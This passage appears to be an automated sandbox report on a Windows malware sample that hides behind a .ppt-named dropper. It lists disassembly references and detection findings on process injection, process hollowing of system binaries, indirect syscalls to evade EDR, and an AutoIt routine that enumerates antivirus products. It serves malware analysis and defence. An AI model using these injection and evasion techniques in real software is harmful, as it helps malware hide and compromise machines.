              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A9D0 mov eax, dword ptr fs:[00000030h]16_2_0134A9D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A9D0 mov eax, dword ptr fs:[00000030h]16_2_0134A9D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A9D0 mov eax, dword ptr fs:[00000030h]16_2_0134A9D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A9D0 mov eax, dword ptr fs:[00000030h]16_2_0134A9D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A9D0 mov eax, dword ptr fs:[00000030h]16_2_0134A9D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013749D0 mov eax, dword ptr fs:[00000030h]16_2_013749D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D69C0 mov eax, dword ptr fs:[00000030h]16_2_013D69C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01362835 mov eax, dword ptr fs:[00000030h]16_2_01362835
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01362835 mov eax, dword ptr fs:[00000030h]16_2_01362835
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01362835 mov eax, dword ptr fs:[00000030h]16_2_01362835
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01362835 mov ecx, dword ptr fs:[00000030h]16_2_01362835
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01362835 mov eax, dword ptr fs:[00000030h]16_2_01362835
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01362835 mov eax, dword ptr fs:[00000030h]16_2_01362835
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E483A mov eax, dword ptr fs:[00000030h]16_2_013E483A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E483A mov eax, dword ptr fs:[00000030h]16_2_013E483A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137A830 mov eax, dword ptr fs:[00000030h]16_2_0137A830
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CC810 mov eax, dword ptr fs:[00000030h]16_2_013CC810
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D6870 mov eax, dword ptr fs:[00000030h]16_2_013D6870
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D6870 mov eax, dword ptr fs:[00000030h]16_2_013D6870
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CE872 mov eax, dword ptr fs:[00000030h]16_2_013CE872
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CE872 mov eax, dword ptr fs:[00000030h]16_2_013CE872
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01370854 mov eax, dword ptr fs:[00000030h]16_2_01370854
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01344859 mov eax, dword ptr fs:[00000030h]16_2_01344859
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01344859 mov eax, dword ptr fs:[00000030h]16_2_01344859
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01352840 mov ecx, dword ptr fs:[00000030h]16_2_01352840
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CC89D mov eax, dword ptr fs:[00000030h]16_2_013CC89D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140A8E4 mov eax, dword ptr fs:[00000030h]16_2_0140A8E4
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01340887 mov eax, dword ptr fs:[00000030h]16_2_01340887
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137C8F9 mov eax, dword ptr fs:[00000030h]16_2_0137C8F9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137C8F9 mov eax, dword ptr fs:[00000030h]16_2_0137C8F9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E8C0 mov eax, dword ptr fs:[00000030h]16_2_0136E8C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140AB40 mov eax, dword ptr fs:[00000030h]16_2_0140AB40
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136EB20 mov eax, dword ptr fs:[00000030h]16_2_0136EB20
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136EB20 mov eax, dword ptr fs:[00000030h]16_2_0136EB20
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BEB1D mov eax, dword ptr fs:[00000030h]16_2_013BEB1D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BEB1D mov eax, dword ptr fs:[00000030h]16_2_013BEB1D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BEB1D mov eax, dword ptr fs:[00000030h]16_2_013BEB1D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BEB1D mov eax, dword ptr fs:[00000030h]16_2_013BEB1D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BEB1D mov eax, dword ptr fs:[00000030h]16_2_013BEB1D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BEB1D mov eax, dword ptr fs:[00000030h]16_2_013BEB1D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BEB1D mov eax, dword ptr fs:[00000030h]16_2_013BEB1D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BEB1D mov eax, dword ptr fs:[00000030h]16_2_013BEB1D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BEB1D mov eax, dword ptr fs:[00000030h]16_2_013BEB1D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133CB7E mov eax, dword ptr fs:[00000030h]16_2_0133CB7E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01408B28 mov eax, dword ptr fs:[00000030h]16_2_01408B28
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01408B28 mov eax, dword ptr fs:[00000030h]16_2_01408B28
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EEB50 mov eax, dword ptr fs:[00000030h]16_2_013EEB50
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F4B4B mov eax, dword ptr fs:[00000030h]16_2_013F4B4B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F4B4B mov eax, dword ptr fs:[00000030h]16_2_013F4B4B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E8B42 mov eax, dword ptr fs:[00000030h]16_2_013E8B42
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D6B40 mov eax, dword ptr fs:[00000030h]16_2_013D6B40
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D6B40 mov eax, dword ptr fs:[00000030h]16_2_013D6B40
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350BBE mov eax, dword ptr fs:[00000030h]16_2_01350BBE
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350BBE mov eax, dword ptr fs:[00000030h]16_2_01350BBE
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F4BB0 mov eax, dword ptr fs:[00000030h]16_2_013F4BB0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F4BB0 mov eax, dword ptr fs:[00000030h]16_2_013F4BB0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01348BF0 mov eax, dword ptr fs:[00000030h]16_2_01348BF0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01348BF0 mov eax, dword ptr fs:[00000030h]16_2_01348BF0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01348BF0 mov eax, dword ptr fs:[00000030h]16_2_01348BF0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136EBFC mov eax, dword ptr fs:[00000030h]16_2_0136EBFC
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CCBF0 mov eax, dword ptr fs:[00000030h]16_2_013CCBF0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EEBD0 mov eax, dword ptr fs:[00000030h]16_2_013EEBD0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01340BCD mov eax, dword ptr fs:[00000030h]16_2_01340BCD
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01340BCD mov eax, dword ptr fs:[00000030h]16_2_01340BCD
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01340BCD mov eax, dword ptr fs:[00000030h]16_2_01340BCD
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01360BCB mov eax, dword ptr fs:[00000030h]16_2_01360BCB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01360BCB mov eax, dword ptr fs:[00000030h]16_2_01360BCB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01360BCB mov eax, dword ptr fs:[00000030h]16_2_01360BCB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01364A35 mov eax, dword ptr fs:[00000030h]16_2_01364A35
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01364A35 mov eax, dword ptr fs:[00000030h]16_2_01364A35
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137CA38 mov eax, dword ptr fs:[00000030h]16_2_0137CA38
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137CA24 mov eax, dword ptr fs:[00000030h]16_2_0137CA24
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136EA2E mov eax, dword ptr fs:[00000030h]16_2_0136EA2E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CCA11 mov eax, dword ptr fs:[00000030h]16_2_013CCA11
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BCA72 mov eax, dword ptr fs:[00000030h]16_2_013BCA72
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BCA72 mov eax, dword ptr fs:[00000030h]16_2_013BCA72
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137CA6F mov eax, dword ptr fs:[00000030h]16_2_0137CA6F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137CA6F mov eax, dword ptr fs:[00000030h]16_2_0137CA6F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137CA6F mov eax, dword ptr fs:[00000030h]16_2_0137CA6F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EEA60 mov eax, dword ptr fs:[00000030h]16_2_013EEA60
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01346A50 mov eax, dword ptr fs:[00000030h]16_2_01346A50
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01346A50 mov eax, dword ptr fs:[00000030h]16_2_01346A50
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01346A50 mov eax, dword ptr fs:[00000030h]16_2_01346A50
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01346A50 mov eax, dword ptr fs:[00000030h]16_2_01346A50
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01346A50 mov eax, dword ptr fs:[00000030h]16_2_01346A50
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01346A50 mov eax, dword ptr fs:[00000030h]16_2_01346A50
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01346A50 mov eax, dword ptr fs:[00000030h]16_2_01346A50
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350A5B mov eax, dword ptr fs:[00000030h]16_2_01350A5B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350A5B mov eax, dword ptr fs:[00000030h]16_2_01350A5B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01348AA0 mov eax, dword ptr fs:[00000030h]16_2_01348AA0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01348AA0 mov eax, dword ptr fs:[00000030h]16_2_01348AA0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01396AA4 mov eax, dword ptr fs:[00000030h]16_2_01396AA4
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01378A90 mov edx, dword ptr fs:[00000030h]16_2_01378A90
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134EA80 mov eax, dword ptr fs:[00000030h]16_2_0134EA80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134EA80 mov eax, dword ptr fs:[00000030h]16_2_0134EA80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134EA80 mov eax, dword ptr fs:[00000030h]16_2_0134EA80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134EA80 mov eax, dword ptr fs:[00000030h]16_2_0134EA80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134EA80 mov eax, dword ptr fs:[00000030h]16_2_0134EA80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134EA80 mov eax, dword ptr fs:[00000030h]16_2_0134EA80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134EA80 mov eax, dword ptr fs:[00000030h]16_2_0134EA80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134EA80 mov eax, dword ptr fs:[00000030h]16_2_0134EA80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134EA80 mov eax, dword ptr fs:[00000030h]16_2_0134EA80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01414A80 mov eax, dword ptr fs:[00000030h]16_2_01414A80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137AAEE mov eax, dword ptr fs:[00000030h]16_2_0137AAEE
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137AAEE mov eax, dword ptr fs:[00000030h]16_2_0137AAEE
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01340AD0 mov eax, dword ptr fs:[00000030h]16_2_01340AD0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01374AD0 mov eax, dword ptr fs:[00000030h]16_2_01374AD0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01374AD0 mov eax, dword ptr fs:[00000030h]16_2_01374AD0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01396ACC mov eax, dword ptr fs:[00000030h]16_2_01396ACC
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01396ACC mov eax, dword ptr fs:[00000030h]16_2_01396ACC
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01396ACC mov eax, dword ptr fs:[00000030h]16_2_01396ACC
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C8D20 mov eax, dword ptr fs:[00000030h]16_2_013C8D20
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01336D10 mov eax, dword ptr fs:[00000030h]16_2_01336D10
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01336D10 mov eax, dword ptr fs:[00000030h]16_2_01336D10
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01336D10 mov eax, dword ptr fs:[00000030h]16_2_01336D10
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01374D1D mov eax, dword ptr fs:[00000030h]16_2_01374D1D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F8D10 mov eax, dword ptr fs:[00000030h]16_2_013F8D10
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F8D10 mov eax, dword ptr fs:[00000030h]16_2_013F8D10
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135AD00 mov eax, dword ptr fs:[00000030h]16_2_0135AD00
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DC2CE0 GetProcessHeap,0_2_00DC2CE0
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB6878 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00DB6878
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DBAAC4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00DBAAC4
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB6A0B SetUnhandledExceptionFilter,0_2_00DB6A0B
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DB5BBF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00DB5BBF

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Allocates memory in foreign processes
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptMemory allocated: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory allocated: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000 protect: page execute and read and write
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory allocated: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000 protect: page execute and read and write
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory allocated: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000 protect: page execute and read and write
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory allocated: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000 protect: page execute and read and write
              Contains functionality to inject code into remote processes
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C433F CreateProcessW,VirtualAllocEx,WriteProcessMemory,8_3_013C433F
              Found direct / indirect Syscall (likely to bypass EDR)
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtQueueApcThread: Indirect: 0x12BA4F2
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtQueueApcThread: Indirect: 0xE6A4F2
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtClose: Indirect: 0x1D3A56C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtClose: Indirect: 0x12BA56C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtClose: Indirect: 0xE6A56C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtClose: Indirect: 0x143A56C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtQueueApcThread: Indirect: 0xE0A4F2
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtClose: Indirect: 0xE0A56C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtQueueApcThread: Indirect: 0x17DA4F2Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtQueueApcThread: Indirect: 0x143A4F2
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtClose: Indirect: 0x17DA56C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeNtQueueApcThread: Indirect: 0x1D3A4F2
              Injects a PE file into a foreign processes
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000 value starts with: 4D5AJump to behavior
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000 value starts with: 4D5A
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000 value starts with: 4D5A
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000 value starts with: 4D5A
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000 value starts with: 4D5A
              Maps a DLL or memory area into another process
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\SysWOW64\raserver.exe protection: execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\SysWOW64\raserver.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\SysWOW64\cmmon32.exe protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\SysWOW64\cmmon32.exe protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection loaded: NULL target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write
              Modifies the context of a thread in another process (thread injection)
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeThread register set: target process: 4004Jump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeThread register set: target process: 4004Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeThread register set: target process: 4004
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeThread register set: target process: 4004
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeThread register set: target process: 4004
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeThread register set: target process: 4004
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeThread register set: target process: 4004
              Queues an APC in another process (thread injection)
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
              Sample uses process hollowing technique
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection unmapped: C:\Windows\SysWOW64\raserver.exe base address: 470000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection unmapped: C:\Windows\SysWOW64\NETSTAT.EXE base address: A20000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection unmapped: C:\Windows\SysWOW64\chkdsk.exe base address: 8B0000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection unmapped: C:\Windows\SysWOW64\cmmon32.exe base address: 860000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeSection unmapped: C:\Windows\SysWOW64\NETSTAT.EXE base address: A20000
              Writes to foreign memory regions
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 401000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: ABA008Jump to behavior
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 401000
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 66B008
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 112B000
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 401000
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: D62008
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 400000
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 401000
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeMemory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 6FB008
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_00713312 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,8_2_00713312
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $colitems = $owmi.execquery("select * from antivirusproduct")memstr_8db20e1f-a
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: for $objantivirusproduct in $colitemsmemstr_0ed130b3-9
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: $usb = $objantivirusproduct.displaynamememstr_af4cb9f9-7
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nextmemstr_8a60547f-2
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: return $usbmemstr_f0bb0501-6
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: endfunc ;==>antivirusmemstr_f6d72edd-e
